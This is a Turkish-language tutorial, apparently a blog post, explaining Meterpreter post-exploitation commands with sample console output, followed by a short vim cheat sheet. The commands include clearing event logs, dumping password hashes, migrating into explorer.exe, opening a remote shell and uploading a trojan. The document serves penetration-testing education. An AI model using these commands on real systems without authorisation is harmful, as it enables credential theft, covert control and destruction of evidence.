Meterpreter nedir ?


Meterpreter hedef makineye sızma sonrasında , sistemde kod çalıştırıp yetkisiz işlevleri gerçekleştirecek payload’lar lazımdır. Metasploit’de üst düzey bazı payload’lar bulunur Bunlar arasında, bizim bakacağımız meterpreterdir. Meterpreter , Meta-Interpreter ‘in kısaltılmışıdır. Modül destekli üst düzey bir payload’tır. Meterpreter yeni bir alt süreç olarak doğrudan bellekte çalışır.

Komutları

help

Meterpreter içerisinde help diyerek çalışan komutları görebilirsiniz burdaki komutların bazıları sizde olabilir bazıları olmayabilir help diyerek bakabilirsiniz 

meterpreter > help

Core Commands
=============

    Command       Description
    -------       -----------
    ?             Help menu
    background    Backgrounds the current session
    channel       Displays information about active channels
...snip...

 

help
help1
help2
help3
help4

background

Aktif olan Meterpreter oturumunu (session) arka plana gönderir ve sizi tekrar msf > komut istemcisine getirir. Arka plandaki Meterpreter oturumuna geçmek için sessions komutundan faydalanabilirsiniz.

meterpreter > background
msf exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

cat

Linux işletim sistemlerinde cat komutu, bir dosya içeriğini ekrana yazdırmada kullanılır. Meterpreterde de aynı işe yarar.

meterpreter > cat
Usage: cat file

Example usage:
meterpreter > cat edit.txt
What you talkin' about Willis

meterpreter >

cd > pwd

cd komutu ile klasör değişimi yapılır. pwd komutu ile aktif olarak hangi klasörde olduğumuz görülebilir.

meterpreter > pwd
c:\
meterpreter > cd c:\windows
meterpreter > pwd
c:\windows
meterpreter >

clearev

Clear Evidence yani delilleri temizleme anlamına gelir. Karşı tarafta açılan oturumda oluşturulan log dosyalarını temizlemeye çalışır.

meterpreter > clearev
[*] Wiping 97 records from Application...
[*] Wiping 415 records from System...
[*] Wiping 0 records from Security...
meterpreter >

download

Karşı bilgisayardan bir dosya indirmeye yarar. İndirilen dosya, metasploit’i başlatırken yerel sisteminizde hangi klasördeyseniz, oraya kaydedilir.

meterpreter > download c:\\boot.ini
[*] downloading: c:\boot.ini -> c:\boot.ini
[*] downloaded : c:\boot.ini -> c:\boot.ini/boot.ini
meterpreter >
download
download

edit

karşı taraftaki bilgisayarda bulunan bir dosyayı düzenlemek üzere vim editörde açar. Vim Editör kullanımı için yazımızın sonundaki vim editör kısmına bakabilirsiniz.

meterpreter > ls

Listing: C:\Documents and Settings\Administrator\Desktop
========================================================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
.
...snip...
.
100666/rw-rw-rw-  0       fil   2012-03-01 13:47:10 -0500  edit.txt

meterpreter > edit edit.txt

execute

Karşı tarafta bir komut çalıştırmanızı sağlar. Dikkat ederseniz, Meterpreter’in kendi komutları çalıştırılmamakta. Karşı tarafın komut istemcisinde bir komut çalıştırılmaktadır.

meterpreter > execute -f cmd.exe -i -H
Process 38320 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

getuid

Karşı tarafta Meterpreter’in çalıştığı sistemin kullanıcı kimliğini gösterir.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
getuid

hashdump

Karşı taraftaki bilgisayarın SAM veri tabanını ortaya çıkarır. Eğer Workspace kullanıyorsanız, loot tablosuna kayıt eder. Özetle sisteme ait kullanıcıların, kullanıcı adları ve hashlerini bize gösterir.

meterpreter > run post/windows/gather/hashdump 

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...

Administrator:500:b512c1f3a8c0e7241aa818381e4e751b:1891f4775f676d4d10c09c1225a5c0a3:::
dook:1004:81cbcef8a9af93bbaad3b435b51404ee:231cbdae13ed5abd30ac94ddeb3cf52d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:9cac9c4683494017a0f5cad22110dbdc:31dcf7f8f9a6b5f69b9fd01502e6261e:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:36547c5a8a3de7d422a026e51097ccc9:::
victim:1003:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d:::
meterpreter >

idletime

Karşı taraftaki  kullanıcının, ne kadar zamandır işlem yapmadığını gösterir.

meterpreter > idletime
User has been idle for: 5 hours 26 mins 35 secs
meterpreter >
idletime

ipconfig

Karşı bilgisayarın ağ bilgilerini bize gösterir.

meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0

AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:10:f5:15
IP Address  : 192.168.1.104
Netmask     : 255.255.0.0

meterpreter 
ipconfig

lpwd > lcd

Meterpreter komut satırı açık iken vereceğiniz komutlar karşı taraf bilgisayarda işlem yaparlar. Halbuki biz kendi bilgisayarımızda bulunduğumuz klasörü görmek veya değiştirmek isteyebiliriz. Bu durumda Meterpreter’i geri plana göndermeden lpwd ve lcd komutlarıyla bu işlemi yapabiliriz. 

lpwd: Yerel bilgisayarda hangi klasörde olduğumuzu gösterir. (local print working directory) 

lcd: Yerel bilgisayarda istediğimiz klasöre geçmeye yarar. (local call directory)

meterpreter > lpwd
/root

meterpreter > lcd MSFU
meterpreter > lpwd
/root/MSFU

meterpreter > lcd /var/www
meterpreter > lpwd
/var/www
meterpreter >

ls

Linux İşletim sistemindeki ls komutuyla aynı işlemi yapar. Bulunulan klasördeki dosya ve klasörleri listeler.

meterpreter > ls

Listing: C:\Documents and Settings\victim
=========================================

Mode              Size     Type  Last modified                   Name
----              ----     ----  -------------                   ----
40777/rwxrwxrwx   0        dir   Sat Oct 17 07:40:45 -0600 2009  .
40777/rwxrwxrwx   0        dir   Fri Jun 19 13:30:00 -0600 2009  ..
100666/rw-rw-rw-  218      fil   Sat Oct 03 14:45:54 -0600 2009  .recently-used.xbel
40555/r-xr-xr-x   0        dir   Wed Nov 04 19:44:05 -0700 2009  Application Data
...snip...
ls

migrate

Meterpreter sunucumuz, karşı tarafta svchost.exe dosyasının içinde çalışıyor olabilir. Bunu başka bir programın içine gömülü hale getirmek istediğimizde kullanırız.

meterpreter > run post/windows/manage/migrate 

[*] Running module against V-MAC-XP
[*] Current server process: svchost.exe (1076)
[*] Migrating to explorer.exe...
[*] Migrating into process ID 816
[*] New server process: Explorer.EXE (816)
meterpreter >

ps

Hedef bilgisayarda çalışan tüm işlemleri görüntüler.

meterpreter > ps

Process list
============

    PID   Name                  Path
    ---   ----                  ----
    132   VMwareUser.exe        C:\Program Files\VMware\VMware Tools\VMwareUser.exe
    152   VMwareTray.exe        C:\Program Files\VMware\VMware Tools\VMwareTray.exe
    288   snmp.exe              C:\WINDOWS\System32\snmp.exe
...snip...
ps
ps1
ps2

resource

Karşı bilgisayara bağlandığınızda, yaptığınız işlemlerin bir süre sonra aynı şeyler olduğunu fark edersiniz. Örneğin, ls komutunu ver, cd c:\\Program Files ile programlar klasörüne gir vb. işlemleri hemen her zaman yaparsınız. İşte yerel bilgisayarda bir dosyaya, her satırda bir komut olacak şekilde bu işlemleri kayıt edip karşı tarafta çalıştırabilirsiniz. Bunun gerçekleşmesi için resource komutu kullanılmaktadır.

Burada dikkat edilmesi gereken konu, resource komutuna ilk vereceğiniz dosya yerele hangi klasördeyseniz (lpwd) orada aranır. İkinci parametre ise karşı tarafta hangi klasörde bulunuyorsanız (pwd) orada çalıştırılır.

meterpreter > resource 
Usage: resource path1 path2Run the commands stored in the supplied files.
meterpreter >
ARGUMENTS:

path1:		Yerel klasörümüzde bulunan toplu iş dosyamız.
Path2Run:	Komutların çalıştırılacağı karşı klasör

root@kali:~# cat resource.txt
ls
background
root@kali:~#
Running resource command:

meterpreter> > resource resource.txt
[*] Reading /root/resource.txt
[*] Running ls

Listing: C:\Documents and Settings\Administrator\Desktop
========================================================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
40777/rwxrwxrwx   0       dir   2012-02-29 16:41:29 -0500  .
40777/rwxrwxrwx   0       dir   2012-02-02 12:24:40 -0500  ..
100666/rw-rw-rw-  606     fil   2012-02-15 17:37:48 -0500  IDA Pro Free.lnk
100777/rwxrwxrwx  681984  fil   2012-02-02 15:09:18 -0500  Sc303.exe
100666/rw-rw-rw-  608     fil   2012-02-28 19:18:34 -0500  Shortcut to Ability Server.lnk
100666/rw-rw-rw-  522     fil   2012-02-02 12:33:38 -0500  XAMPP Control Panel.lnk

[*] Running background

[*] Backgrounding session 1...
msf  exploit(handler) >

search

Karşı sistemde arama yapmamıza yarar.

meterpreter > search -f autoexec.bat
Found 1 result...
    c:\AUTOEXEC.BAT
meterpreter > search -f sea*.bat c:\\xamp\\
Found 1 result...
    c:\\xampp\perl\bin\search.bat (57035 bytes)
meterpreter >
arama

shell

shell komutu, Meterpreter içinde karşı sistemin shell sistem satırına girmenizi sağlar.

meterpreter > shell
Process 39640 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

upload

Karşı sisteme dosya yüklemenizi sağlar. Hedef sistemin dosya gösterim rotasyonu dikkate alınmalıdır. Tırnaklara dikkat edilmelidir ters şekildelerdir.

meterpreter > upload evil_trojan.exe c:\\windows\\system32
[*] uploading  : evil_trojan.exe -> c:\windows\system32
[*] uploaded   : evil_trojan.exe -> c:\windows\system32\evil_trojan.exe
meterpreter >


Vim Editör

Vim editör nedir ?

 

Vim editör bizim bir metin düzenleyici aracımızdır . Terminalde ve kullanıcı ara yüzünde de kullanılabilir . Gelin gelelim bizim ne işimize yarayacağına.

Ne işe yarar ?

 

Bizim için meterpreter içerisinden karşı bilgisayarda vim editörümüzü kullanmamız gerekecek.

Komutlar

 

Dosya açma – çıkma – kaydetme

vim ornek.txt #vim dosyaismi.uzantısı
:q  #vim editöründe direkt dosyadan çıkmak için kullanılır
:wq #vim editöründe kaydetme ve çıkma komutudur 

Kopyalama – seçme – yapıştırma – kesme

yy #bulunduğunuz satırı kopyalar 
4y #4 satır kopyalar 
p  #kopyaladığınız şeyi yapıştırır
y  #seçtiğiniz kısmı kopyalar 
d  #seçtiğiniz kısmı keser
v  #imlecin hareket ettiği yerler seçilir

Arama 

?aranandosya
/aranandosya

İmlecin bulunduğu satırda ilk eski anahtarın yeni anahtarıyla değiştirilmesi

 :%s/eski/yeni 

Dosyada bulunan bütün eski anahtarı yeni anahtarı ile değiştirilir

:%s/eski/yeni/g

 

Dosyalarda dolaşma

0  #Satır başına gitmek için
$  #Satır sonuna gitmek için
2$ #Bir alttaki satırın sonuna gitmek için
w #ileri gitmenizi sağlar
5w #5 kelime ileri git

b  #Dosya içinde geri gitmemizi sağlar
10b #10 kelime geri git

G  #Dosyanın son satırına git
1G #Dosyanın ilk satırına git

20G #Dosyanın 20.satırına git

Yorumlar